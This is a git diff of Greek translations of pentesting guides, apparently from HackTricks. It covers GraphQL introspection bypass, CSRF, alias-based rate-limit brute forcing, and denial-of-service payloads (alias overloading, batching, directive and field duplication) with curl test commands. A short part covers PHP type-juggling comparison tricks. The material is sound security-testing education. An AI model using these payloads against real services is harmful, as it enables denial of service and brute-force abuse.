-Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα προς χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
+Επιπλέον, η επέκταση Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **παρακολουθεί τα αιτήματα GraphQL API που περνούν μέσω του Burp** και **δημιουργεί** ένα εσωτερικό **σχήμα** GraphQL με κάθε νέο ερώτημα που βλέπει. Μπορεί επίσης να εκθέσει το σχήμα για GraphiQL και Voyager. Η επέκταση επιστρέφει μια ψεύτικη απάντηση όταν λαμβάνει ένα ερώτημα introspection. Ως αποτέλεσμα, το GraphQuail δείχνει όλα τα ερωτήματα, τα επιχειρήματα και τα πεδία που είναι διαθέσιμα για χρήση εντός του API. Για περισσότερες πληροφορίες [**ελέγξτε αυτό**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
 
-Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορεί να βρεθεί εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?).
+Μια ωραία **λίστα λέξεων** για να ανακαλύψετε [**οντότητες GraphQL μπορείτε να βρείτε εδώ**](https://github.com/Escape-Technologies/graphql-wordlist?).
 
-### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
+### Παράκαμψη αμυνών introspection GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
 
-Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να μπλοκάρουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, που το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες άμυνες:
+Για να παρακαμφθούν οι περιορισμοί στις ερωτήσεις introspection σε APIs, η εισαγωγή ενός **ειδικού χαρακτήρα μετά την λέξη-κλειδί `__schema`** αποδεικνύεται αποτελεσματική. Αυτή η μέθοδος εκμεταλλεύεται κοινές παραλείψεις προγραμματιστών σε μοτίβα regex που στοχεύουν να αποκλείσουν την introspection εστιάζοντας στη λέξη-κλειδί `__schema`. Προσθέτοντας χαρακτήρες όπως **κενά, νέες γραμμές και κόμματα**, τα οποία το GraphQL αγνοεί αλλά μπορεί να μην έχουν ληφθεί υπόψη στο regex, οι περιορισμοί μπορούν να παρακαμφθούν. Για παράδειγμα, ένα ερώτημα introspection με μια νέα γραμμή μετά το `__schema` μπορεί να παρακάμψει τέτοιες αμυντικές τακτικές:
 ```bash
 # Example with newline to bypass
 {
@@ -397,7 +397,7 @@ ws.send(JSON.stringify(graphqlMsg))
 ```
 ### **Ανακάλυψη Εκτεθειμένων Δομών GraphQL**
 
-Όταν η ανάλυση είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανά **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι:
+Όταν η introspection είναι απενεργοποιημένη, η εξέταση του πηγαίου κώδικα της ιστοσελίδας για προφορτωμένα ερωτήματα σε βιβλιοθήκες JavaScript είναι μια χρήσιμη στρατηγική. Αυτά τα ερωτήματα μπορούν να βρεθούν χρησιμοποιώντας την καρτέλα `Sources` στα εργαλεία προγραμματιστή, παρέχοντας πληροφορίες σχετικά με το σχήμα του API και αποκαλύπτοντας πιθανά **εκτεθειμένα ευαίσθητα ερωτήματα**. Οι εντολές για αναζήτηση στα εργαλεία προγραμματιστή είναι:
 ```javascript
 Inspect/Sources/"Search all files"
 file:* mutation
@@ -411,29 +411,29 @@ file:* query
 ../../pentesting-web/csrf-cross-site-request-forgery.md
 {{#endref}}
 
-Εκεί έξω μπορείτε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.**
+Εκεί έξω θα μπορέσετε να βρείτε αρκετά GraphQL endpoints **ρυθμισμένα χωρίς CSRF tokens.**
 
 Σημειώστε ότι τα αιτήματα GraphQL συνήθως αποστέλλονται μέσω POST αιτημάτων χρησιμοποιώντας το Content-Type **`application/json`**.
 ```javascript
 {"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}
 ```
-Ωστόσο, οι περισσότερες GraphQL τελικές σημεία υποστηρίζουν επίσης **`form-urlencoded` POST αιτήματα:**
+Ωστόσο, οι περισσότερες GraphQL endpoints υποστηρίζουν επίσης **`form-urlencoded` POST αιτήματα:**
 ```javascript
 query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 ```
 Ως εκ τούτου, καθώς τα αιτήματα CSRF όπως τα προηγούμενα αποστέλλονται **χωρίς προετοιμασία αιτημάτων**, είναι δυνατόν να **εκτελούνται** **αλλαγές** στο GraphQL εκμεταλλευόμενοι ένα CSRF.
 
-Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν ιστό τρίτου μέρους σε αιτήματα GET.
+Ωστόσο, σημειώστε ότι η νέα προεπιλεγμένη τιμή cookie της σημαίας `samesite` του Chrome είναι `Lax`. Αυτό σημαίνει ότι το cookie θα αποστέλλεται μόνο από έναν τρίτο ιστότοπο σε αιτήματα GET.
 
 Σημειώστε ότι είναι συνήθως δυνατό να αποσταλεί το **αίτημα** **ερωτήματος** και ως **GET** **αίτημα και το CSRF token μπορεί να μην επικυρώνεται σε ένα GET αίτημα.**
 
-Επίσης, εκμεταλλευόμενοι μια [**επίθεση XS-Search**](../../pentesting-web/xs-search/) μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.
+Επίσης, εκμεταλλευόμενοι μια [**επίθεση XS-Search**](../../pentesting-web/xs-search/index.html) μπορεί να είναι δυνατό να εξάγουμε περιεχόμενο από το GraphQL endpoint εκμεταλλευόμενοι τα διαπιστευτήρια του χρήστη.
 
 Για περισσότερες πληροφορίες **ελέγξτε το** [**αρχικό άρθρο εδώ**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
 
-## Υπαγωγή WebSocket σε GraphQL
+## Υπαγωγή WebSocket μεταξύ ιστότοπων στο GraphQL
 
-Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή WebSocket σε άλλους ιστότοπους για να εκμεταλλευτείτε μια αυθεντικοποίηση με GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL.
+Παρόμοια με τις ευπάθειες CRSF που εκμεταλλεύονται το graphQL, είναι επίσης δυνατό να εκτελέσετε μια **υπαγωγή WebSocket μεταξύ ιστότοπων για να εκμεταλλευτείτε μια αυθεντικοποίηση με το GraphQL με μη προστατευμένα cookies** και να κάνετε έναν χρήστη να εκτελεί απροσδόκητες ενέργειες στο GraphQL.
 
 Για περισσότερες πληροφορίες ελέγξτε:
 
@@ -465,13 +465,13 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
 
 ## Παράκαμψη Περιορισμών Ρυθμού Χρησιμοποιώντας Ψευδώνυμα στο GraphQL
 
-Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός API αιτήματος. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεράσουν τον περιορισμό που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
+Στο GraphQL, τα ψευδώνυμα είναι μια ισχυρή δυνατότητα που επιτρέπει την **ρητή ονομασία ιδιοτήτων** κατά την εκτέλεση ενός αιτήματος API. Αυτή η δυνατότητα είναι ιδιαίτερα χρήσιμη για την ανάκτηση **πολλαπλών περιπτώσεων του ίδιου τύπου** αντικειμένου μέσα σε ένα μόνο αίτημα. Τα ψευδώνυμα μπορούν να χρησιμοποιηθούν για να ξεπεραστεί ο περιορισμός που εμποδίζει τα αντικείμενα GraphQL να έχουν πολλές ιδιότητες με το ίδιο όνομα.
 
-Για μια λεπτομερή κατανόηση των ψευδώνυμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
+Για μια λεπτομερή κατανόηση των ψευδωνύμων GraphQL, προτείνεται η παρακάτω πηγή: [Ψευδώνυμα](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
 
-Ενώ ο κύριος σκοπός των ψευδώνυμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα GraphQL endpoint. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των HTTP αιτημάτων**. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλών ερωτημάτων σε ένα μόνο HTTP αίτημα, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού.
+Ενώ ο κύριος σκοπός των ψευδωνύμων είναι να μειώσουν την ανάγκη για πολλές κλήσεις API, έχει εντοπιστεί μια μη προγραμματισμένη περίπτωση χρήσης όπου τα ψευδώνυμα μπορούν να αξιοποιηθούν για την εκτέλεση επιθέσεων brute force σε ένα endpoint GraphQL. Αυτό είναι δυνατό επειδή ορισμένα endpoints προστατεύονται από περιοριστές ρυθμού που έχουν σχεδιαστεί για να αποτρέπουν επιθέσεις brute force περιορίζοντας τον **αριθμό των αιτημάτων HTTP**. Ωστόσο, αυτοί οι περιοριστές ρυθμού ενδέχεται να μην λαμβάνουν υπόψη τον αριθμό των λειτουργιών μέσα σε κάθε αίτημα. Δεδομένου ότι τα ψευδώνυμα επιτρέπουν την προσθήκη πολλαπλών ερωτημάτων σε ένα μόνο αίτημα HTTP, μπορούν να παρακάμψουν τέτοιες ρυθμίσεις περιορισμού.
 
-Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθεύσουν την εγκυρότητα των κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα HTTP αίτημα, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
+Σκεφτείτε το παράδειγμα που παρέχεται παρακάτω, το οποίο απεικονίζει πώς μπορούν να χρησιμοποιηθούν τα ερωτήματα με ψευδώνυμα για να επαληθευτεί η εγκυρότητα των κωδικών έκπτωσης καταστήματος. Αυτή η μέθοδος θα μπορούσε να παρακάμψει τον περιορισμό ρυθμού, καθώς συγκεντρώνει αρκετά ερωτήματα σε ένα αίτημα HTTP, επιτρέποντας ενδεχομένως την επαλήθευση πολλών κωδικών έκπτωσης ταυτόχρονα.
 ```bash
 # Example of a request utilizing aliased queries to check for valid discount codes
 query isValidDiscount($code: Int) {
@@ -490,7 +490,7 @@ valid
 
 ### Alias Overloading
 
-**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διακομιστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1,000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διακομιστή να το υπολογίσει 1,000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
+**Alias Overloading** είναι μια ευπάθεια του GraphQL όπου οι επιτιθέμενοι υπερφορτώνουν ένα ερώτημα με πολλές ψευδώνυμες για το ίδιο πεδίο, προκαλώντας τον πίσω διαχειριστή να εκτελεί αυτό το πεδίο επανειλημμένα. Αυτό μπορεί να υπερφορτώσει τους πόρους του διακομιστή, οδηγώντας σε **Denial of Service (DoS)**. Για παράδειγμα, στο παρακάτω ερώτημα, το ίδιο πεδίο (`expensiveField`) ζητείται 1.000 φορές χρησιμοποιώντας ψευδώνυμα, αναγκάζοντας τον πίσω διαχειριστή να το υπολογίσει 1.000 φορές, ενδεχομένως εξαντλώντας την CPU ή τη μνήμη:
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "Content-Type: application/json" \
@@ -501,7 +501,7 @@ curl -X POST -H "Content-Type: application/json" \
 
 ### **Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες**
 
-**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
+**Ομαδοποίηση Ερωτημάτων Βασισμένη σε Πίνακες** είναι μια ευπάθεια όπου ένα GraphQL API επιτρέπει την ομαδοποίηση πολλαπλών ερωτημάτων σε ένα μόνο αίτημα, επιτρέποντας σε έναν επιτιθέμενο να στείλει έναν μεγάλο αριθμό ερωτημάτων ταυτόχρονα. Αυτό μπορεί να κατακλύσει το backend εκτελώντας όλα τα ομαδοποιημένα ερωτήματα παράλληλα, καταναλώνοντας υπερβολικούς πόρους (CPU, μνήμη, συνδέσεις βάσης δεδομένων) και ενδεχομένως να οδηγήσει σε **Άρνηση Υπηρεσίας (DoS)**. Εάν δεν υπάρχει όριο στον αριθμό των ερωτημάτων σε μια ομαδοποίηση, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό για να υποβαθμίσει τη διαθεσιμότητα της υπηρεσίας.
 ```graphql
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -513,7 +513,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
 
 ### **Ευπάθεια Υπερφόρτωσης Οδηγιών**
 
-**Υπερφόρτωση Οδηγιών** συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονιακή χρήση, οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
+**Υπερφόρτωση Οδηγιών** συμβαίνει όταν ένας διακομιστής GraphQL επιτρέπει ερωτήματα με υπερβολικές, επαναλαμβανόμενες οδηγίες. Αυτό μπορεί να κατακλύσει τον αναλυτή και τον εκτελεστή του διακομιστή, ειδικά αν ο διακομιστής επεξεργάζεται επανειλημμένα την ίδια λογική οδηγίας. Χωρίς κατάλληλη επικύρωση ή όρια, ένας επιτιθέμενος μπορεί να εκμεταλλευτεί αυτό δημιουργώντας ένα ερώτημα με πολλές επαναλαμβανόμενες οδηγίες για να προκαλέσει υψηλή υπολογιστική ή μνημονιακή χρήση, οδηγώντας σε **Denial of Service (DoS)**.
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" \
@@ -539,7 +539,7 @@ curl -X POST \
 
 ### **Ευπάθεια Διπλασιασμού Πεδίου**
 
-**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναληπτικά για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
+**Διπλασιασμός Πεδίου** είναι μια ευπάθεια όπου ένας διακομιστής GraphQL επιτρέπει ερωτήματα με το ίδιο πεδίο να επαναλαμβάνεται υπερβολικά. Αυτό αναγκάζει τον διακομιστή να επιλύει το πεδίο επαναλαμβανόμενα για κάθε περίπτωση, καταναλώνοντας σημαντικούς πόρους (CPU, μνήμη και κλήσεις βάσης δεδομένων). Ένας επιτιθέμενος μπορεί να δημιουργήσει ερωτήματα με εκατοντάδες ή χιλιάδες επαναλαμβανόμενα πεδία, προκαλώντας υψηλό φορτίο και ενδεχομένως οδηγώντας σε **Άρνηση Υπηρεσίας (DoS)**.
 ```bash
 # Test provided by https://github.com/dolevf/graphql-cop
 curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \
@@ -554,17 +554,17 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
 - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Σενάριο ελέγχου ασφαλείας GraphQL με έμφαση στην εκτέλεση παρτίδων GraphQL ερωτημάτων και μεταλλάξεων.
 - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Αναγνωρίστε το graphql που χρησιμοποιείται
 - [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Εργαλείο που μπορεί να χρησιμοποιηθεί για να αποκτήσει σχήματα και να αναζητήσει ευαίσθητα δεδομένα, να δοκιμάσει εξουσιοδότηση, να επιτεθεί σε σχήματα με βία και να βρει διαδρομές σε έναν δεδομένο τύπο.
-- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [Burp extension](https://github.com/doyensec/inql).
-- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI client για την αυτοματοποίηση επιθέσεων
+- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Μπορεί να χρησιμοποιηθεί ως αυτόνομο ή [επέκταση Burp](https://github.com/doyensec/inql).
+- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Μπορεί να χρησιμοποιηθεί και ως CLI πελάτης για την αυτοματοποίηση επιθέσεων
 - [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Εργαλείο που απαριθμεί τους διαφορετικούς τρόπους **πρόσβασης σε έναν δεδομένο τύπο σε ένα σχήμα GraphQL**.
 - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Ο διάδοχος των Αυτόνομων και CLI Λειτουργιών του InQL
-- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Burp extension για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα GraphQL endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέσεων**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού.
+- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Επέκταση Burp για προηγμένο έλεγχο GraphQL. Ο _**Σαρωτής**_ είναι ο πυρήνας του InQL v5.0, όπου μπορείτε να αναλύσετε ένα graphql endpoint ή ένα τοπικό αρχείο σχήματος introspection. Δημιουργεί αυτόματα όλα τα πιθανά ερωτήματα και τις μεταλλάξεις, οργανώνοντάς τα σε μια δομημένη προβολή για την ανάλυσή σας. Το _**Συστατικό Επιθέτη**_ σας επιτρέπει να εκτελείτε επιθέσεις παρτίδας GraphQL, οι οποίες μπορεί να είναι χρήσιμες για την παράκαμψη κακώς υλοποιημένων περιορισμών ρυθμού.
 - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance): Προσπαθήστε να αποκτήσετε το σχήμα ακόμη και με την introspection απενεργοποιημένη χρησιμοποιώντας τη βοήθεια ορισμένων βάσεων δεδομένων Graphql που θα προτείνουν τα ονόματα των μεταλλάξεων και των παραμέτρων.
 
 ### Πελάτες
 
-- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI client
-- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Client
+- [https://github.com/graphql/graphiql](https://github.com/graphql/graphiql): GUI πελάτης
+- [https://altair.sirmuel.design/](https://altair.sirmuel.design/): GUI Πελάτης
 
 ### Αυτόματοι Έλεγχοι
 

src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md

@@ -21,9 +21,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 ```
 ## Παράκαμψη συγκρίσεων PHP
 
-### Χαλαρές συγκρίσεις/Εναλλαγή τύπων ( == )
+### Χαλαρές συγκρίσεις/Τύποι Juggling ( == )
 
-Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
+Αν χρησιμοποιηθεί το `==` στην PHP, τότε υπάρχουν απρόσμενες περιπτώσεις όπου η σύγκριση δεν συμπεριφέρεται όπως αναμένεται. Αυτό συμβαίνει επειδή το "==" συγκρίνει μόνο τις τιμές που έχουν μετατραπεί στον ίδιο τύπο, αν θέλετε επίσης να συγκρίνετε ότι ο τύπος των συγκρινόμενων δεδομένων είναι ο ίδιος, πρέπει να χρησιμοποιήσετε το `===`.
 
 Πίνακες συγκρίσεων PHP: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
 
@@ -32,17 +32,17 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
 {% file src="../../../images/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
 
 - `"string" == 0 -> True` Μια συμβολοσειρά που δεν ξεκινά με αριθμό είναι ίση με έναν αριθμό
-- `"0xAAAA" == "43690" -> True` Συμβολοσειρές που αποτελούνται από αριθμούς σε δεκαδική ή εξηρημένη μορφή μπορούν να συγκριθούν με άλλους αριθμούς/συμβολοσειρές με αποτέλεσμα True αν οι αριθμοί είναι οι ίδιοι (οι αριθμοί σε μια συμβολοσειρά ερμηνεύονται ως αριθμοί)
+- `"0xAAAA" == "43690" -> True` Συμβολοσειρές που αποτελούνται από αριθμούς σε δεκαδική ή εξηρημένη μορφή μπορούν να συγκριθούν με άλλους αριθμούς/συμβολοσειρές με αποτέλεσμα True αν οι αριθμοί ήταν οι ίδιοι (οι αριθμοί σε μια συμβολοσειρά ερμηνεύονται ως αριθμοί)
 - `"0e3264578" == 0 --> True` Μια συμβολοσειρά που ξεκινά με "0e" και ακολουθείται από οτιδήποτε θα είναι ίση με 0
 - `"0X3264578" == 0X --> True` Μια συμβολοσειρά που ξεκινά με "0" και ακολουθείται από οποιοδήποτε γράμμα (το X μπορεί να είναι οποιοδήποτε γράμμα) και ακολουθείται από οτιδήποτε θα είναι ίση με 0
-- `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτή τη μορφή εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
+- `"0e12334" == "0" --> True` Αυτό είναι πολύ ενδιαφέρον γιατί σε ορισμένες περιπτώσεις μπορείτε να ελέγξετε την είσοδο της συμβολοσειράς "0" και κάποιο περιεχόμενο που έχει κατακερματιστεί και συγκρίνεται με αυτό. Επομένως, αν μπορείτε να παρέχετε μια τιμή που θα δημιουργήσει έναν κατακερματισμό που ξεκινά με "0e" και χωρίς κανένα γράμμα, θα μπορούσατε να παρακάμψετε τη σύγκριση. Μπορείτε να βρείτε **ήδη κατακερματισμένες συμβολοσειρές** με αυτό το φορμά εδώ: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
 - `"X" == 0 --> True` Κάθε γράμμα σε μια συμβολοσειρά είναι ίσο με int 0
 
 Περισσότερες πληροφορίες στο [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
 
 ### **in_array()**
 
-**Εναλλαγή τύπων** επηρεάζει επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε αυστηρή σύγκριση):
+**Τύποι Juggling** επηρεάζουν επίσης τη λειτουργία `in_array()` από προεπιλογή (πρέπει να ορίσετε σε true το τρίτο επιχείρημα για να κάνετε μια αυστηρή σύγκριση):
 ```php
 $values = array("apple","orange","pear","grape");
 var_dump(in_array(0, $values));
@@ -109,12 +109,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
 
 <figure><img src="../../../images/image (26).png" alt=""><figcaption></figcaption></figure>
 
-Συνοπτικά, το πρόβλημα συμβαίνει επειδή οι `preg_*` συναρτήσεις στην PHP βασίζονται στη [βιβλιοθήκη PCRE](http://www.pcre.org/). Στην PCRE, ορισμένες κανονικές εκφράσεις ταιριάζουν χρησιμοποιώντας πολλές αναδρομικές κλήσεις, οι οποίες καταναλώνουν πολύ χώρο στο στοίβωμα. Είναι δυνατόν να οριστεί ένα όριο στον αριθμό των επιτρεπόμενων αναδρομών, αλλά στην PHP αυτό το όριο [προεπιλέγεται σε 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), το οποίο είναι περισσότερο από ό,τι χωράει στο στοίβωμα.
